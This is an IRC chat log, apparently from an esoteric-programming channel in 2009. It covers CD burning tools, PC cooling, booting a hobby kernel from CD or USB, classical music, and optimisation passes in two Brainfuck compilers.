ATAPI bugs aren't eliminated, though. 00:29:49 00:28 ehird: AnMaster: libburn, http://fy.chalmers.se/~appro/linux/DVD+RW/ 00:29:51 pikhq, I have PATA DVD drive. 00:30:05 ehird, 00:30:10 And ATAPI is the ATA-embedded protocol for talking to it. 00:30:17 pikhq, yes I know 00:30:20 just not SATA 00:30:23 Anyways. 00:30:24 was what I was talking about 00:30:42 Hmm. I guess the best I can say is give it a shot again and hope it works? 00:30:51 fuck this apple shit 00:31:06 Honestly, I think I'd need a long session with gdb to find anything out if it didn't work again. 00:31:07 pikhq, the drive refuses to burn CD-RW at all btw. CD-R works. 00:31:08 i'm gonna boot slax in qemu to do this 00:31:17 nooga: your fault for not reading the manpage 00:31:18 pikhq, think it can't burn CD-RW slow enough 00:31:21 it tells you almost exactly how to do this shit 00:31:24 since the options are almost 1:1 00:31:26 have fun 00:31:31 pikhq, I use my old computer with a slower drive for that 00:31:33 ehird: i've read that 00:31:42 I'm vaguely leaning towards a buggy drive now. 00:31:50 but hdiutil doesn't have -b option from osx 00:31:55 blaaa 00:31:55 pikhq, quite possible 00:32:02 osx->mkisofs 00:32:04 lol ;d 00:32:12 pikhq, "writemaster" is all it says on the front 00:32:25 well apart from the dvd/cd logos 00:32:34 well,* 00:32:47 Ah, the joy of whitebox equipment. 00:32:52 Yeah, I got nothing. 00:32:55 pikhq, what? 00:33:04 pikhq, it is actually black 00:33:05 Except for delicious, delicious pizza. 00:33:17 pikhq, ehird? Are you there? 00:33:23 AnMaster: Cheap, generic computer hardware is generally called "whitebox. 00:33:23 -!- sebbu has quit (Read error: 110 (Connection timed out)). 00:33:24 -!- sebbu2 has changed nick to sebbu. 00:33:28 pikhq, ah 00:33:33 "2x HDMI, 1x DVI-D, 1x VGA, 1x component-video, 2x SCART, 1x S-Video, 1 DVB-T tuner"; whoa, that's a lot of connectors in a computer monitor. 00:33:38 I am the only person who likes pizza? 00:33:43 no. 00:33:46 fizzie: That's a TV set. 00:33:51 ehird, no. But it was non-seq 00:33:54 pikhq: No, they call it a monitor. :p 00:33:54 like your style 00:34:00 00:32 pikhq: Yeah, I got nothing. 00:33 pikhq: Except for delicious, delicious pizza. 00:34:03 It's got a fucking tuner. 00:34:04 That's perfectly meaningful. 00:34:11 ehird, not to me 00:34:16 IDGI 00:34:17 AnMaster: He has nothing except pizza. 00:34:18 pikhq: It's still not a TV set. It's just a monitor with a DVB-T tuner attached. 00:34:22 ah 00:34:26 He's saying that he is eating pizza, I assume 00:34:32 Ah, the joy of whitebox equipment. Yeah, I got nothing. Except for delicious, delicious pizza. 00:34:33 but 00:34:37 fizzie: what's a tv set then? 00:34:38 what has that got to do with the drive 00:34:41 AnMaster: Nothing. 00:34:52 # hdparm -I /dev/sr0 00:34:52 /dev/sr0: 00:34:52 ATAPI CD-ROM, with removable media 00:34:52 Model Number: TSSTcorpCD/DVDW SH-W162C 00:34:56 pikhq, ^ 00:34:59 Non-sequitur would be if he said "Yeah, I got nothing. Order the battalions to end the rape & pillage of the fishes." 00:35:09 bsmntbombdood: It's something conceptually different. 00:35:09 It followed perfectly fine; it was just irrelevant. 00:35:10 AnMaster: Well, fuck. 00:35:16 pikhq, what? 00:35:25 AnMaster: That tells me even less. 00:35:28 I'm guessing they're calling it a monitor since it's got that DVI input and it's too small to be a viable TV. 00:35:32 pikhq, oh? 00:35:36 Except that my DVD-ROM drive comes from the same company. 00:35:43 fizzie: What size is it? 00:35:48 fizzie: too small to be a viable tv? The main tv set in here is a 21" crt. 00:35:53 Flatscreen, at least, but... tiny. 00:35:59 pikhq, maybe one of those that makes the circuits. And then various brands stick stuff on 00:36:09 AnMaster: I'd bet. 00:36:25 pikhq, seems to mean "Toshiba Samsung Storage Technology Corporation" 00:36:26 It's 22". "LG M227WD-PZ"; 1920x1080 pixels. And TVs nowadays seem to be absurdly large. 00:36:40 fizzie, that's a TV set. 00:37:00 I read a comic where a 52" screen was considered bizarrely large for playing Quake III. It was CRT, I recall, and went at something like less than 1 fps per second. 00:37:05 This comic was ancient. (2002 :-P) 00:37:10 pikhq: If the guys who make it say it's a monitor, then it's a monitor. 00:37:24 When your 'monitor' has a tuner, it's a TV set, regardless of what bullshit the manufacturers say. 00:37:31 pikhq: It probably differs from a TV set in ONE way: 00:37:42 Incidentally my DVD burninator is a "TSSTcorp CD/DVDW SH-S183A". 00:37:44 TV sets are horribly unrealistic by default in their picture and audio settings. 00:37:48 Too much contrast, etc. 00:37:57 This is because people actually like it more, aparrently. 00:37:58 ehird: Oh, right. I forgot that they look like shit. 00:37:59 *apparently 00:38:01 Monitors? 00:38:05 They generally come configured right. 00:38:13 fizzie, heh 00:38:23 It's even worse with CRTs. 00:38:27 pikhq: does it have a tuner or just a port for a tuner? 00:38:31 what fizzie said implies port 00:38:32 Try as I might, I can't get them configured right. 00:38:42 ehird: Fizzie said "DVB-T tuner". 00:38:43 pikhq, writemaster seems to be "samsung writemaster" btw 00:38:49 It does have a built-in tuner, yes. 00:38:52 AnMaster: Hmm. 00:38:53 pikhq, says google 00:39:09 And actually I'm guessing what makes it a monitor is that they sell the same thing without the tuner. 00:39:15 pikhq, haven't asked alpha yet. But it wouldn't know 00:39:18 :D 00:39:23 fizzie: err, what makes it a MONITOR? 00:39:26 Up is down down is up. 00:39:43 ehird: The HDMI, VGA, and DVI inputs. 00:39:47 :p 00:39:50 00:39 fizzie: And actually I'm guessing what makes it a monitor is that they sell the same thing without the tuner. 00:39:57 it's reversed! 00:40:12 Well, the model without the tuner is obviously a monitor; so since the tuner-version is so identical, it must be a monitor too. 00:40:30 yeah. Completely logical 00:40:32 heh 00:40:38 unusual that ehird didn't get it 00:40:40 while I did 00:40:41 Except that the tuner makes it a TV set. 00:40:41 :P 00:40:48 AnMaster: but it MAKES NO SENSE!!!111 00:40:54 ehird, agreed. 00:41:04 ehird, it makes perfect no sense. 00:41:17 ehird, (read: marketing) 00:42:23 (I'll do some sleeping now, 0230 localtime.) 00:42:54 ehird, about http://fy.chalmers.se/~appro/linux/DVD+RW/ "Secondly, the DVD burners available on the market can burn even CD-R[W] media and cdrecord is the tool for this job" 00:42:58 I never burned a DVD 00:43:01 so yeah. 00:43:05 I have no use for that one 00:43:10 I only burn CDs 00:43:13 AnMaster: so libburn. 00:43:26 ehird, word not found on page 00:43:40 00:28 ehird: AnMaster: libburn, http://fy.chalmers.se/~appro/linux/DVD+RW/ 00:43:40 00:28 ehird: (those are two options) 00:43:47 Reading comprehension is AwEsOmE 00:44:06 http://libburnia-project.org/ 00:44:22 -!- FireFly has quit ("Later"). 00:44:30 ehird, why should I switch since cdrecord actually works 00:44:50 AnMaster: fuck you for making me go to the effort of finding that when your response was predecided 00:44:58 "Prove there is a third option!" "OK." "LA LA LA" 00:45:11 ehird, you said I shouldn't use the Schilly crap though 00:45:19 you acted like it at least 00:45:21 i said that beforehand 00:45:25 then you asked me to prove there is a third option 00:45:36 ehird, but why should I use that third option 00:45:50 ehird, and does it integrate into k3b :) 00:46:05 do what the fuck you want, goddamn, i never told you to switch, i just said that schilling is a fuckwit, his licensing is stupid and he ignores bugs 00:46:08 AnMaster: and it has a cdrecord emulator 00:46:14 so yes, if you can change the executable name 00:46:28 nice 00:46:40 http://libburnia-project.org/wiki/Cdrskin 00:46:43 and try this new thing I heard about "mindfullness" 00:46:46 it might help 00:47:03 err "mindfulness" 00:47:04 even 00:47:14 it's not my fault you try to wind me up by sending me on wild goose chases 00:47:16 http://www.cdrinfo.com/Sections/Articles/Sources/C/CPU%20Coolers%20Roundup%20For%20LGA1366%20April%202009/Images/results1.png 00:47:22 lol, passive cooling an i7 00:47:37 :D 00:47:42 bsmntbombdood: yeah, the megahalems 00:47:47 I'm using them for my new build 00:47:50 but with a fan 00:47:55 not passive are you? 00:47:55 ok 00:47:56 since that's 82C on the slowest one, 920 00:48:01 and I'm going for >3ghz 00:48:10 besides, 82C is quite possible dangerous 00:48:12 ehird, N O I S E? 00:48:19 AnMaster: Scythe fans are soundless. :) 00:48:31 so 00:48:37 who have the lowest CPU temp her 00:48:39 here* 00:48:46 bsmntbombdood: the megahalems non-passive there are 51C, that's odd because they're the biggest, most heavy duty i7 coolers, pretty much 00:48:47 oh well 00:48:55 it's big enough to be able to run a fan really slow 00:48:57 and 51C is just fine 00:49:20 # sensors 00:49:20 k8temp-pci-00c3 00:49:20 Adapter: PCI adapter 00:49:20 Core0 Temp: 00:49:20 +25 C 00:49:22 anyone? 00:49:28 AnMaster: anyway, even those who go for no-noise generally have a cpu fan at least 00:49:32 since it's the hardest component to passively cool 00:49:47 ehird, yeah 00:49:51 people who want no noise use watercooling 00:49:56 ehird, I have seen solid state ones though 00:49:57 bsmntbombdood: bullshit! 00:50:06 watercooling is louder than the quietest air rigs 00:50:08 bsmntbombdood, water cooling is loud 00:50:22 heck, you need a fan with watercooling too 00:50:25 plus pump noise 00:50:28 etc 00:50:30 yep 00:50:34 hm 00:50:38 I remember reading about 00:50:40 you don't need a fan if you use a decent radiator 00:50:43 watercooling is quieter than air cooling for a really high end multi-graphics card rig 00:50:46 some kind of solid state DC cooling 00:50:51 nothing else 00:50:52 I don't remember the name 00:50:55 ehird, any idea? 00:51:00 -!- coppro has quit (Connection timed out). 00:51:24 fans on my planned new rig: nexus value 430W power supply (most silent power supply on silentpcreview; inaudible at almost all levels), scythe fan of some sort for CPU cooler, and two nexus real silent 120mm case fans (probably @7V) 00:51:26 AnMaster: dunno 00:51:27 Peltier. 00:51:32 ehird, it worked by two blocks. One geting cold, the other hot 00:51:35 pikhq, that's it! 00:51:48 you can buy preassembled solid state computers 00:51:49 http://www.endpcnoise.com/cgi-bin/e/std/sku=fanless_mcubed_pc.html?id=3FVHowPb 00:51:53 AnMaster: peltier 00:51:58 up to 3.33ghz core 2 duo 00:52:01 bsmntbombdood, yeah pikhq answered 00:52:02 ages ago 00:52:05 well, it has a dvdrw 00:52:08 but you can rip that out 00:52:11 and you'll burn up your peliter junction if you don't put a fan on it 00:52:49 anyway, convective cooling is really silent - unlike watercooling - and can cool a lot of stuff 00:52:57 not very common, but, see Zalman's Totally No Noise series 00:53:31 ehird, how does it work 00:53:41 AnMaster: a shitload of heatpipes 00:53:52 AnMaster: and making the case into a giant heatsink 00:53:54 interesting 00:53:55 http://www.endpcnoise.com/cgi-bin/e/std/sku=tnn_300_core2_media.html 00:54:10 there was a guy who diy'd that 00:54:11 that's the micro-atx version 00:54:12 but meh 00:54:16 it didn't turn out too well though 00:54:19 micro atx ftl 00:54:35 faster than light? 00:54:43 look 00:54:46 the full TNN 500 00:54:48 bsmntbombdood, ? 00:54:48 normal atx 00:54:51 can do quad-core 2 00:54:51 s 00:54:57 AnMaster: for the lose 00:55:01 so it can handle most. 00:55:05 bsmhm 00:55:06 mhm* 01:03:19 whooo 01:03:42 grub is compiling under slax under Q under os x 01:03:56 and it takes years 01:05:50 "The Finnish government has announced plans for universal broadband access across Finland assuring that no person will be further than a mile and a half away from a broadband Internet connection of at least 100 megabits per second (Mbps). " 01:05:55 I came. 01:06:03 Truly ze amazing. 01:06:15 yeah 01:06:34 I so want to move to .fi now :) 01:06:52 in soviet poland broadband internet surfs you 01:06:58 *sniff* But only Nebula seem to do IPv6 in .fi 01:07:08 100mbps fiber or IPv6 I CAN'T DECIDE 01:07:17 hmmm 01:07:26 i don't see anything cool in IPv6 01:07:37 nooga: ipv6 is the future man 01:07:39 it looks like linux is actually lowering my cpu frequency when it can 01:07:40 and also it's just pretty 01:07:44 sure 01:07:48 bsmntbombdood: that's a good thing 01:07:52 yes 01:07:52 bsmntbombdood: also, it may be the cpu 01:07:54 /bios 01:08:03 due to that cores-feed-other-more-active-cores thing 01:08:33 it's at 1.6ghz right now 01:09:12 heh 01:09:17 how slow :-D 01:10:02 nebula's max <149euro/mo seped thing is 24M/3M 01:10:04 for 85euro 01:10:07 which is disappointingly slow 01:11:19 FOR HOW MUCH?! 01:11:41 nooga: 85 euros a month for 24MB down / 3MB up. 01:11:50 erm 01:11:56 You get IPv6, custom reverse-DNS and tech-savvy support for that, sez fizzie. 01:12:00 But 'tis excessively-priced. 01:13:11 i've got 6M/1M for 22eur ;p 01:13:13 http://theory.stanford.edu/~sbansal/pubs/asplos06.pdf 01:13:15 interesting 01:13:16 very 01:13:18 interesting 01:13:20 ehird, ^ 01:13:33 AnMaster: futamura's projections are cooler 01:13:39 ehird, what 01:13:45 AnMaster: who 01:13:52 AnMaster: nice 01:13:56 AnMaster: http://blog.sigfpe.com/2009/05/three-projections-of-doctor-futamura.html 01:13:57 nooga, what do you mean 01:14:10 s/who/whoa/ 01:14:32 hhm 01:14:35 hm* 01:14:41 -!- upyr[emacs] has quit (Remote closed the connection). 01:16:08 ehird, ok, that is cool 01:16:30 yep 01:16:32 auto-optimizers 01:16:38 for compilers/interpreters 01:16:48 write an interpreter, get an (in theory) good computer 01:16:51 *compiler 01:17:02 nooga: wait, that's "Annex M" 01:17:07 their regular 24m/1m is 59euro/mo 01:17:21 that's only 1m upload ofc 01:17:22 but gah 01:17:30 I want 100M both ways + ipv6 + custom reverse dns. 01:18:11 =.= 01:18:12 -!- coppro has joined. 01:21:40 ehird, lol 01:21:51 I read "futamura" as "futurama" all the way along. 01:21:54 Fuck it, I'm starting my own (Finnish) ISP. 01:21:58 With blackjack. And hoookers! 01:22:04 Hoookers. 01:22:06 An extra o. 01:22:09 heh 01:22:17 Hey, that fits in with "futurama". 01:22:20 It's like synchronicity. 01:22:28 like what 01:22:37 It's a futurama reference 01:22:41 also, look up synchronicity 01:23:57 ehird, how pratical are these protections 01:24:05 AnMaster: Projections. 01:24:06 Practical. 01:24:07 And, 01:24:10 Sort of. 01:24:17 Some tools exist, they aren't perfect. 01:24:18 ehird, any open source implementations? 01:24:23 It's theory, mostly. Lots and lots of papers. 01:24:24 Try google. 01:24:25 → 01:24:30 night too 01:24:54 i want 1 gbit each way 01:26:47 bsmntbombdood, go live in a DC 01:27:29 A district of Columbia? 01:27:34 Data Center 01:27:39 Ah. 01:27:46 too noisy 01:27:58 Speaking of: why the crap didn't the US get called Columbia? 01:28:01 bsmntbombdood, replace all the fans with passive cooling 01:28:11 AnMaster: still need a/c 01:28:22 pikhq, Indiana would have been better. They were first :P 01:28:24 * pikhq thinks he will start calling the US of A "Columbia". 01:28:45 bsmntbombdood, ? 01:28:59 AC power should exist 01:29:00 ... 01:29:08 wtf are you talking about 01:29:26 bsmntbombdood, http://en.wikipedia.org/wiki/AC_power 01:29:27 AC 01:30:03 AnMaster: air conditioning 01:30:15 ok 01:30:19 bsmntbombdood, why? 01:30:23 just move north 01:30:29 wtf are you talking about 01:30:46 bsmntbombdood, stop repeating yourself 01:30:53 bsmntbombdood, I'm talking about Greenland dude 01:30:58 you won't need AC there 01:31:02 or even North Pole 01:31:36 bsmntbombdood, anyway, just put a huge radiator on the house 01:31:37 :D 01:31:43 or better yet 01:31:46 a heatsink 01:31:54 a HOUSE WITH A HEATSINK! 01:33:38 a heatsink can't lower temperature below ambient 01:34:02 bsmntbombdood, which would be around 20-27 C? 01:34:05 quite acceptable 01:34:14 possibly below zero even 01:34:32 38 01:34:37 bsmntbombdood, C? 01:34:44 yes 01:34:48 bsmntbombdood, and then you are way too near the equator 01:34:53 Move north or south dude 01:34:57 what are we talking about? 01:35:05 how is that unclear 01:35:32 it was 14 C outside today iirc when it was hottest. Here that is. 01:37:05 -!- coppro has quit (Read error: 54 (Connection reset by peer)). 01:38:05 -!- coppro has joined. 01:38:47 night 01:40:19 -!- coppro has quit (Read error: 104 (Connection reset by peer)). 01:41:32 -!- coppro has joined. 01:50:18 fuck 01:50:23 i can't make this fucking iso 01:50:29 mkisofs fails 01:52:05 i've never had an issue 01:53:55 could you perhaps create a clean, bootable cd with grub installed on it 01:53:58 for me? ;p 01:57:58 Get a Gentoo install disc. 01:58:33 beh? 01:59:00 The Gentoo install disc is a lightweight LiveCD. 01:59:37 and then remove gentoo from the image, edit menu.lst and put my kernel on the image? 01:59:52 ... Why stick your own kernel in there? 02:00:13 ... Oh, you expect an installer. 02:00:20 The Gentoo installer is as follows: 02:00:23 $ 02:00:47 The Gentoo install disc is *just* a lightweight LiveCD. ;) 02:01:15 it's late and i don't get it 02:01:30 It gives you a shell prompt. 02:01:34 It has Grub on it. 02:01:38 All you need. 02:02:02 (as it just so happens, it also contains GNU Tar, GNU Coreutils, and Elinks) 02:02:14 the situation is as follows: i have my own kernel compiled into one bin file: kernel. I need to put *kernel* on a bootable cd to boot it 02:02:29 ... 02:02:39 i can create a floppy 02:02:47 but somehow not a cd 02:03:00 Why do you need a CD? 02:03:14 to boot my "os" on a real machine 02:03:30 you mean you don't have a floppy drive?' 02:03:54 and even though i'm in Poland, computers here don't tend to have floppy drives any more 02:04:47 Ah. 02:05:18 can you put it on a USB drive? 02:05:23 sure 02:05:38 "If I ever hear the words "that's final" come out of your mouth ever again, they truly will be." 02:05:40 you should be able to boot from that 02:05:44 GRUB 0.x supports USB drives when installed on them. 02:05:57 GRUB 2 has a USB stack, instead. 02:06:31 dunno, just tell me how to prepare that fucking usb stick 02:06:39 please? :3 02:07:01 Same way you'd do any GRUB install, IIRC. 02:12:35 okay, done 02:38:37 damn 02:38:44 the core i7 is a hell of a processor 02:52:43 yeah! 02:54:05 i've got bootable cd with a bootloader that boots grub from my already bootable floppy image that is written on the cd 02:54:48 what for? 02:55:14 too tired to fight with mkisofs 02:56:22 i mean, what are you doing this for? 02:57:06 I NEED TO PUT MY KERNEL ON A CD THAT WILL BOOT WHEN INSERTED TO A PC 02:57:33 OW 02:58:07 why? 02:58:42 because i need to deliver it to my teacher 02:59:25 ow, my OSX is broken, need to reboot 03:00:01 -!- nooga has quit ("Leaving..."). 03:38:14 -!- Corun has joined. 03:38:24 Heya y'all. I'm looking for Fax/Ed, anyone seen him? 03:40:38 i have never seen him. 03:41:23 Hmm 03:41:26 And I forgot how to capitalise on the capital letter market for a second there. 03:41:34 :-) 04:11:56 -!- Corun has quit ("Leaving..."). 04:17:58 -!- calamari has joined. 04:43:39 http://pastebin.ca/1426079 05:15:37 -!- RU has joined. 05:15:57 -!- RU has left (?). 05:40:38 -!- coppro has quit (Read error: 104 (Connection reset by peer)). 05:40:46 -!- Halph has joined. 05:40:53 -!- Halph has changed nick to coppro. 06:05:55 randomly permute a linked list in O(n) time 06:18:27 -!- Sgeo has quit ("Leaving"). 06:19:49 -!- kar8nga has joined. 06:42:29 -!- evincar has joined. 06:42:42 Hello hello. 06:45:31 ...all right, then. 06:45:34 -!- evincar has quit (Client Quit). 06:46:44 heh 06:46:52 total of 3 minutes 06:57:34 IF YOU DON'T RESPOND IN THREE MINUTES I'M NEVER COMING BACK 06:59:35 now, 11 minutes for a response, that's more like a good irc channel 07:00:04 :P 07:02:14 -!- kar8nga has quit (Remote closed the connection). 07:03:57 -!- calamari has quit ("Leaving"). 07:26:37 ah, Chopin's first piano concerto, 3rd movement.... mmmmmm... 07:27:20 very enjoyable to listen to 07:27:25 ah, Dream Theater - Images and Words 07:27:36 mmm 07:28:04 I have more m's. >_> 07:28:44 /s 07:39:59 -!- jix has joined. 07:57:40 hm. the Harry Potter fandom has it pretty good -- at least they still have the author of the work to bully into giving hints about what's canon 07:58:23 although that's mostly all of what I think is going for them. 07:59:59 -!- clog has quit (ended). 08:00:00 -!- clog has joined. 08:00:32 i read some harry potter erotic fanfic once 08:03:08 oh. What were the romantic relationships featured? 08:03:24 that is to say, shipping 08:03:45 i think it was a threesome 08:05:48 i was impressed at the two guys banging each other 08:06:40 written by a female, I'd guess 08:07:43 i don't know 08:09:48 -!- GregorR-L has quit ("Leaving"). 08:21:11 -!- pikhq has quit (Read error: 104 (Connection reset by peer)). 08:41:50 -!- pikhq has joined. 09:28:50 xkcd was nice today 09:29:08 very enjoyable to listen to <- agreed 09:30:00 yeah... so you have a copy somewhere? 09:30:32 well. my classical collection is somewhat small. But it's as large as it needs to be! :D 09:31:29 yay bittorrent 09:35:03 -!- Ilari_ has joined. 09:36:07 -!- lereah_ has joined. 09:45:20 -!- Ilari has quit (Read error: 110 (Connection timed out)). 09:51:45 -!- wooby has joined. 09:52:20 hm 09:52:42 Gracenotes, How complete is it for J. M. Kraus? 09:52:48 -!- wooby has left (?). 09:52:56 not at all 09:53:07 Gracenotes, my favourite composer. 09:53:53 * AnMaster is listening to Joseph Matrin Kraus' Symphony in C sharp minor. 09:53:54 ah. what era? I'm lots more well versed in music theory than the history 09:54:07 Gracenotes, contemporary with Mozart. 09:54:49 and didn't get old either 09:54:50 I see. How do they compare, do you think? 09:55:05 Gracenotes, Mozart is great, but Kraus is better :) 09:55:23 Gracenotes, Kraus is from Germany, however he worked in Sweden for most of his life. 09:56:49 Gracenotes, I have the 4 CDs with the complete collection of the symphonies that Kraus wrote. There is some other music of him that I'm missing though. (One CD with piano music, and some other ones) 09:57:10 Gracenotes, Naxos 8.554777 09:58:06 (also, 8.553734, in case you prefer that type) 09:58:50 -!- GreaseMonkey has joined. 10:00:28 Gracenotes, http://www.youtube.com/watch?v=QbhA7NRZTZ0&fmt=18 <-- One of the movements from that one, and a reworked version in C minor (instead of C sharp minor). 10:00:49 But I have a better recording (Swedish Chamber Orchestra) 10:01:16 ooh. I've bookmarked it for listening later on... I'd just like to finish reading a chapter before I go to bed 10:01:37 thanks! 10:01:55 GregorR, that recording is inferior to the one I have IMO. 10:01:57 err 10:02:03 Gracenotes, ^ 10:02:16 yep. I do have the name though. 10:02:36 Gracenotes, NAXOS 8.554777 is the id of the one I have. 10:02:40 the cd 10:03:42 Gracenotes, What do you think of Vivaldi? 10:04:25 not a composer I can listen to while reading, exactly. 10:04:30 hah 10:04:40 Gracenotes, wouldn't say Kraus was that either 10:05:01 not a subtle texture he uses. But interesting enough 10:05:08 Gracenotes, I love Vivaldis' Summer. Especially the first and the last movement. Especially in this recording from City of London Sinfonia 10:05:13 * Gracenotes has not listened to much of him lately 10:05:20 a bit higher tempo than usual 10:05:23 mm. 10:05:50 not a subtle texture he uses. But interesting enough <-- who? Kraus or Vivaldi? 10:06:01 er, Vivaldi in this case 10:06:03 ah 10:06:11 * Gracenotes is saving Kraus to listen to tomorrow 10:06:20 earphones are off for the rest of tonight... 10:06:49 Gracenotes, the recording I have here of Kraus is a bit more stressed tempo than the one on youtube. Something which I like. 10:07:07 (and I love violins, awesome sound) 10:09:45 Gracenotes, cya 10:10:02 bye! 10:10:20 so you are going to bed hm 10:10:45 -Gracenotes- TIME Mon 18 May 2009 05:10:40 AM EDT 10:10:47 kay 10:11:01 soon. 5:30 maybe 10:11:07 although the original target time was 4:00 10:11:16 Gracenotes, you are nocturnal I see. 10:11:23 Harry Potter, 6th book... she does think of quite good plots 10:11:47 AnMaster: yes. But I can't be too nocturnal, otherwise I'll miss my 8:00 AM exam Tuesday. eh. 10:11:50 Gracenotes, that isn't even the last one 10:12:01 yes. I also have the 7th one 10:12:12 a bit behind with reading? 10:12:28 I think I read it in a week or so after it was released. 10:12:46 heh. well, the last I read the books were many years ago, 1-4 10:13:00 then I've watched all the movies in the last two days, 1-5 10:13:04 -!- Ilari_ has changed nick to Ilari. 10:13:05 Gracenotes, ah, re-reading? 10:13:14 no -- I've started off reading the 6th book 10:13:21 oh 10:13:27 which means that the first four are in distance memory and I've skipped the 5th one 10:13:35 uhu 10:13:38 how comes? 10:13:39 but the movie is a good enough summary, it seems 10:13:47 I wanted to continue the plot 10:14:07 right now I'm at page 679/827 in the 6th book, at least in my ebook 10:14:25 EDT is US right? 10:14:51 yes. I live in New York state 10:15:03 mhm 10:24:49 -!- oklodok has joined. 10:33:27 -!- tombom has joined. 10:55:16 -!- oerjan has joined. 11:11:00 -!- coppro has quit (Read error: 60 (Operation timed out)). 11:18:34 -!- GreaseMonkey has quit ("YES -> thor-ainor.it <- THIS IS *DELICIOUS*!"). 11:30:24 -!- oerjan has quit ("leaving"). 11:41:40 -!- Corun has joined. 11:56:36 -!- Corun has quit ("Leaving..."). 11:58:46 -!- Judofyr has joined. 12:13:19 -!- KingOfKarlsruhe has joined. 12:16:17 -!- tombom has quit ("Peace and Protection 4.22.2"). 12:37:34 -!- oklodok has quit (Read error: 110 (Connection timed out)). 12:39:23 -!- Judofyr has quit (Remote closed the connection). 12:40:57 -!- bsmntbombdood has quit (Read error: 113 (No route to host)). 12:59:25 -!- Judofyr has joined. 13:23:24 -!- puzzlet_ has joined. 13:34:09 -!- asiekierka has joined. 13:49:28 -!- puzzlet_ has quit ("leaving"). 14:04:45 lifthrasiir, there? 14:15:04 guess not 14:15:33 * AnMaster was going to ask about reliable detection of infinite/finite/unknown loops 14:15:59 (in bf) 14:21:28 lifthrasiir, oh btw I have more advanced copy/constant propagation than you do (move pointer isn't a blocker in my code, while unbalanced loops still are of course). 14:22:02 that is, based on the comment in http://hg.mearie.org/esotope/bfc/file/1a700645b843/bfc/opt/propagate.py 14:46:11 AnMaster: good! i have to implement new ideas soon... 14:47:12 lifthrasiir, err, how do you do the detection of if a loop will loop forever 14:47:28 AnMaster: see simpleloop.py for detail. 14:47:38 lifthrasiir, I'm not good at reading python :/ 14:47:40 but hm 14:47:47 no, there is some comment on it 14:48:10 lifthrasiir, another question: how do you do the +++[->++>++++<<] think into constants. 14:48:42 I can constant fold it only if they are copies anre the values are known (I can translate [->+>+<<] into copy, copy , set 0 atm) 14:49:00 but your generated code has stuff like: p[0] = p[1] * p[2] 14:49:01 it is first transformed into Repeat[] loop, and soon flattened (in cleanup pass) to multiplication. propagate pass eliminates any expressions and turns them to constant. 14:49:06 how did you end up with that 14:49:24 lifthrasiir, what is a repeat loop? 14:49:31 constant number of iterations? 14:49:35 what? currently it only generates the code in the form of p[0] = const * p[3]. 14:49:39 and yes. 14:49:53 lifthrasiir, maybe I misremembered then, saw it in some notes.txt or something? 14:50:05 notes.txt is outdated. ;) 14:50:08 ah 14:50:18 lifthrasiir, that explains why I couldn't make head or tail out of the code. 14:50:41 i'm not sure notes.txt is invalidated though. 14:51:05 lifthrasiir, really you need more comments. 14:51:25 agreed, many thing is too undocumented. 14:51:26 ohcount says in-between have 34.6% comments. Though that is off a bit due to the GPL headers. 14:51:27 are* 14:51:52 lifthrasiir, "# let w be the overflow value, which is 256 for char etc." is the bit about infinite or not? 14:52:20 for example, +[+>++<]... 14:52:39 if the cell is of finite size the loop executes 255 times. 14:52:55 yeah, I can't handle that one 14:52:58 but I should be able to 14:53:06 including when you have ,[+>++<] 14:53:11 shouldn't be too hard 14:53:25 yes, since resulting expression is simple enough 14:53:42 lifthrasiir, http://rafb.net/p/FN63Qk65.html is my crude draft idea for how to represent such loops. 14:53:53 well, represent each member of it 14:54:44 looks quite specific about param, but that should be enough imo. 14:55:16 and that is invalid erlang btw. Just ideas. in pseudo-erlang 14:55:43 and atm I'm implementing loop -> if. Except I found out that my loop_access analyses pass is buggy and stops too early 14:56:05 one thing i have to do right now is adding automated tests. certainly. ;) 14:56:18 since the original source code is quite messy. 14:56:24 oh and I also seem to throw exception for loops known not to touch the index cell. Fun! 14:57:26 AnMaster: any idea about other codegen module rather than C? ;) 14:57:58 lifthrasiir, I have been wondering about that too, something where you can easily test the generated result of LostKing would be a good one. 14:58:16 lifthrasiir, of course, a given one is outputting bf again. 14:58:26 fun. :D 14:58:29 at least for lostking it should be able to optimise it 14:58:39 -!- oerjan has joined. 14:58:42 in-between currently removes quite a few dead loops in iut 14:58:43 it* 14:58:47 and i'm testing with lostkng, but it took much time and doesn't help isolating the bugs. 14:59:01 lifthrasiir, oh sure does. Generate output. Diff against previous. 14:59:07 see if anything interesting happened 14:59:49 lifthrasiir, but normally I test with mandelbrot + 50 or so test cases (half no longer relevant after I added initial_memory pass). 15:00:09 lifthrasiir, btw, your initial memory pass, does it stop on balanced loops, or only on unbalanced ones/seek 15:00:14 AnMaster: i should add such test cases now. 15:00:25 lifthrasiir, you could check out in-between if you wanted. 15:00:54 bzr branch http://rage.kuonet.org/~anmaster/bzr/in-between/trunk in-between 15:01:01 have some test cases. 15:01:07 and yeah beat me if you want. 15:01:08 thank you, i will analyze it soon. 15:01:10 ;) 15:01:15 the competition is quite fun! 15:01:17 lifthrasiir, needs Erlang R13A-0 at least 15:01:24 lifthrasiir, I'm not aiming to beat you. 15:01:55 lifthrasiir, mine has some "long range" optimisations, but the majority is peephole-style still. 15:02:09 -!- jix has quit (Remote closed the connection). 15:02:13 -!- jix has joined. 15:02:15 AnMaster: but anyway mine and yours influence each other, and it is good for each other. 15:02:42 lifthrasiir, do you change set0, copy into set_from btw? 15:02:43 so... erlang needs to be compiled manually in mac os x? 15:02:50 and set_from into set if the source is known 15:02:54 lifthrasiir, no clue. I run Linux. 15:03:07 lifthrasiir, and use erlang from my package manager 15:03:18 (which compiles it for me! Yeah I run Gentoo) 15:03:30 AnMaster: i have no idea what is copy command. you mean something like p[x] += p[y];? 15:03:58 lifthrasiir, [->+<] can be turned into "copy from p[0] to p[1], set p[0] to 0" 15:04:00 where copy is += 15:04:12 then it does merge them. 15:04:12 same for [->+>+<<] of course 15:04:39 currently AdjustMemory means p[x] += expr, and SetMemory means p[x] = expr. 15:04:42 -!- KingOfKarlsruhe has quit (Remote closed the connection). 15:04:51 i'm planning to remove AdjustMemory in lieu of SetMemory, though. 15:05:08 lifthrasiir, what about source propagation. Like "p[1] = 0; p[1] += p[0]; p[2] += p[1];" 15:05:16 mine does: 15:05:32 "p[1] = 0; p[1] += p[0]; p[2] += p[1];" -> "p[1] = p[0]; p[2] += p[1];" -> "p[1] = p[0]; p[2] += p[0];" 15:05:51 that is, tries to find "original" source 15:06:13 removing AdjustMemory will be quite helpful for copy propagation and source propagation. 15:06:24 lifthrasiir, AdjustMemory is like my add node then, and SetMemory like my set node 15:06:29 yes. 15:06:30 but they take integer constants 15:06:37 in my code 